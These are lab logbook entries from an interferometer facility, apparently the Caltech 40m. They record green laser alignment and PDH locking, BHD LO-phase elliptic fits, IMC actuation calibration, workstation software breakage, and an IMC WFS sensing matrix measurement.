17350   Fri Dec 9 10:08:54 2022 RadhikaUpdateASCYEND green alignment chronicles

Today I set out to align and lock the YEND green laser, and observe the expected PDH error signal and PZT control signal.

- I took note of PDH servo knobs:

- gain knob: 10.0
- LO phase knob: 2.86
- boost: on
- inversion: -

- Disconnected PDH servo PZT output to break loop

- Scanned pitch and yaw of steering mirrors 1 and 2 [Attachment 1] and achieved transmission ~1.2.

- Re-engaged the loop and with TEM00 locked, and did fine adjustment of steering mirrors to maximize transmission to 1.4.

- At this point I broke the loop again to look at the PDH error signal and piezo control signal in an oscilloscope. The error signal had high frequency noise, so the SR560 was used to low pass it before sending it to the scope.

- Once I reconnected the loop and locked to TEM00, I noticed lots of noise in green transmission. Paco took spectra of GTRY and found it was line noise at multiples of 60 Hz. I checked if any BNC shields at the servo box were touching. I shifted the LO frequency from 213.12 kHz to 213.15 kHz, so that the modulation/demodulation was not an integer multiple of 60 Hz. However, these steps didn't get rid of the line noise. To be further investigated.

Next I plan to revisit the XEND AUX loop and try to reach higher lock stability.

17351   Fri Dec 9 13:18:57 2022 yutaSummaryBHDMICH BHD optical gain measurements at different LO phases, elliptic fit

[Yehonathan, Yuta]

Here's a plot using same dataset from yesterday, but x-axis in raw BH55_Q data, not calibrated into degrees in LO phase.
This way you are free from calibration error in BH55_Q data to LO phase.
Elliptic fit is done using least squares.
dphi is calculated using the following equation where (ap, bp) are the semi-major and semi-minor axes, phi is the rotation of the semi-major axis from the x-axis.

beta=np.arctan(ap/bp/np.tan(phi))
dphi=-np.arctan(ap/bp*np.tan(phi))-beta

dphi gives you LO phase at zero-crossing.
For example, the top plot says that the sensitivity of BH55_Q to BS crosses zero at "-133.92 deg," which means BH55_Q+MICHdither can lock LO phase at -134 deg or 46 deg.
The top plot also says that the sensitivity of BHDC_DIFF to BS crosses zero at "127.45 deg," which means BHDC_DIFF sensitivity to MICH maximizes at 38 deg or 217 deg.
The middle plot says that the sensitivity of BH55_Q to LO1 crosses zero at "90.09 deg," which means BH55_Q+LO1dither can lock LO phase at 90 deg or -90 deg, and BH55_Q(no dither) can lock LO phase at 0deg or 180 deg (by definition).

Notebook: /opt/rtcds/caltech/c1/Git/40m/scripts/CAL/SensingMatrix/PlotSensMatBHDvsLOPhaseData.ipynb

Next
- Use also BH55_Q+LO1/AS1dither to scan around 90 deg.

17352   Fri Dec 9 14:18:43 2022 AnchalSummarySUSIMC optics angular actuation calibration at DC

I migrated the code used in 40m/16125 to our scripts git repo and used it to apply offsets to IMC optics and noticing the parabolic change in the transmission values. Fitting the data with parabola and using the calculations mentioned in the previous post, we get following angular actuation calibration at DC from the PIT/YAW alignment output channels (cts) to actual motion in (urad):

Optic and DOF Calibration constant at DC [urad/cts]
MC1 PIT 13.92(3)
MC2 PIT 20.6(2)
MC3 PIT 11.95(3)
MC1 YAW 12.85(3)
MC2 YAW 18.9(2)
MC3 YAW 13.62(4)

*Note that in the previous post, the radius of curvature of MC2 used was wrong and has been corrected in this calculation to 17.87 m taken from Gautam's thesis Table A.1

Due to lack of time, we ran test faster on MC2, hence more uncertainty in it's results. Also, during MC1 YAW test, lock for breifly lost which required me to manually throw away some data points, but it did not affect the quality of fit much. Please see attached the data plots and fit.

For calibration at AC, another test needs to be performed which I did not do right now. 40m/16125 also describes how to do that, so someone can repeat that in future.

 Quote: It would be good if someone can post here the actuation calibration in radians, so that we can have a physical calibration of the sensing matrix in counts/radian.

17353   Fri Dec 9 17:42:04 2022 KojiUpdateCDSNew donatella issues
• MEDM video switches didn't work - "sh: 1: /opt/rtcds/caltech/c1/scripts/general/videoscripts/videoswitch3: not found"
• This was fixed by modifying #! from /usr/bin/python to /usr/bin/python3
• This broke IMC WFS reied script

This will start a relief servos for 600that can not be stopped once started Do you want to continue (y/n)? y

Starting the 600 second relief servos...

/opt/rtcds/caltech/c1/Git/40m/scripts/MC/WFS/reliefMCWFS: line 28: ezcaservo: command not found /opt/rtcds/caltech/c1/Git/40m/scripts/MC/WFS/reliefMCWFS: line 30: ezcaservo: command not found /opt/rtcds/caltech/c1/Git/40m/scripts/MC/WFS/reliefMCWFS: line 33: ezcaservo: command not found /opt/rtcds/caltech/c1/Git/40m/scripts/MC/WFS/reliefMCWFS: line 29: ezcaservo: command not found /opt/rtcds/caltech/c1/Git/40m/scripts/MC/WFS/reliefMCWFS: line 31: ezcaservo: command not found /opt/rtcds/caltech/c1/Git/40m/scripts/MC/WFS/reliefMCWFS: line 32: ezcaservo: command not found

Done relieving

hit any key to close

• [IMPORTANT!] emacs editor does not work - "emacs: symbol lookup error: emacs: undefined symbol: malloc_set_state, version GLIBC_2.2.5"

17354   Fri Dec 9 18:32:11 2022 KojiSummaryASCMC WFS sensing matrix measurement

[Rana, Koji]

Now the IMC WFS pitch output matrix was renewed based on the DC sensitivity of the sensors. The IMC and the WFS heads were realigned and the WFS offsets were reset. The WFS servo is running stably for ~1.5hrs now.

Using Rana's test with the optic offsets, the sensitivity of the sensors against the misalignment of each optic was measured. First of all, we accessed the recorded 900s data on Dec 9 2022 12:48:00 UTC (Attached 1). This DTT XML file is stored in /users/koji/221209/221209_IMC_WFS_PIT.xml

You can see the attachment that the foton style smoothing filter was used to reduce high freq noise above 0.1Hz.

Then the averaged values were read from "Cursor" tab (Attachment 2). This gave us this following sensing matrix.

 Null to {WFS1P, WFS2P, MCTransP} -36.7008 +/- 92.7548 401.45 +/- 196.934 -19.3762 +/- 4.933 MC1 to {WFS1P, WFS2P, MCTransP} 2866 +/- 145.282 913.216 +/- 153.847 1243.97 +/- 6.64841 MC2 to {WFS1P, WFS2P, MCTransP} 3947.51 +/- 191.807 -21737.2 +/- 488.808 1212.09 +/- 13.0897 MC3 to {WFS1P, WFS2P, MCTransP} -987.813 +/- 106.55 -7868.63 +/- 352.394 1010.74 +/- 4.2795

The inverse of this matrix is
To MC1 MC2 MC3
From WFS1 [1.17 1.02 -2.66]
From WFS2 [0.49 -0.39 -0.14]
From MCT   [5.04 -2.20 6.15]

This is transposed for the MEDM output matrix. So the actual output matrix tried was

From WFS1 WFS2 MCT
[1.2 0.5 5.0] to MC1
[1.0 -0.4 -2.2] to MC2
[-2.7 -0.1 6.2] to MC3

We then individually tested the servo stability and the response to the input offset.
This matrix seemed indeed well diagnalized w.r.t the sensors. We injected the error signal offset in the MCTrans Pitch servo. This didn't reduce the IMC Trans indicating that the WFS1/2 were still as it was while the spot position was displaced. (very nice!)

The new matrix made all the pitch loops stable with negative gains (-0.1, -0.2, -0.5) together with the input gain slider of x1.0. The servo also worked together with the presence of the Yaw loops. Good.

The WFS1 gain was a bit too low. So we wanted to give 50% boost.
We decided to multiply the matrix elements by -0.3, giving the servo gains divided by -0.3. The resulting servo gain settings and the output matrix screen look like Attachment 3.

Then the IMC was aligned so that the reflection is minimized while the MC2 trans goes onto the center of the QPD.

Then the WFS offset script has been run with low and stable IMC Reflection DC (Attachment 4)

Draft   Fri Dec 9 21:54:40 2022 RadhikaUpdateASCMoku digital filter for low-frequency resonances (ALS/calibration)